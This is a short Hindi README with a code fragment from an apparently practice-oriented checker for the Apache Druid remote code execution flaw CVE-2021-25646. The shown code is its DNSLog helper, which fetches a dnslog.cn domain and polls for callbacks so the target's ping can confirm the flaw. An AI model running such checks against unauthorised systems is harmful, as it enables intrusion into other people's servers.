
CVE-2021-25646 Apache Druid दूरस्थ कोड निष्पादन भेद्यता Wker स्क्रिप्ट
लिखने की प्रक्रिया में...
=====================================================================================
सबसे पहले Wker महोदय को दूरस्थ उत्तर के लिए धन्यवाद।
स्क्रिप्ट लिखने का उद्देश्य अभ्यास करना है।
स्क्रिप्ट DNSLog का उपयोग करके निर्णय लेती है, यदि भेद्यता मौजूद है तो यह स्वचालित रूप से dnslog URL प्राप्त करके ping ऑपरेशन करती है और परिणाम प्रिंट करती है।
script\ATTACKUTILS निर्देशिका में एक dns.wker फ़ाइल बनाएँ।#define dnsqian = Set-Cookie:[
#define dnshou = path=/
#define re = "(.*?)"
function DnsRef(cookie){
res = HttpGet("http://dnslog.cn/getrecords.php?t=0.3741317873165926",cookie.StrRN()."User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0");
r = StrRe(res[0],re);
if(GetArrayNum(r) >= 3){
return r[3];
}else{
return "";
}
}
function GetDomain(){
array r;
res = HttpGet("http://dnslog.cn/getdomain.php?t=0.16082432252184475","User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0");
tmp = StrSplit(res[0],StrRN());
dns = tmp[0];
cookie = "Cookie: ".GettextMiddle(res[1],dnsqian,dnshou);
ArrayAddEle(r,dns);
ArrayAddEle(r,cookie);
return r;
}
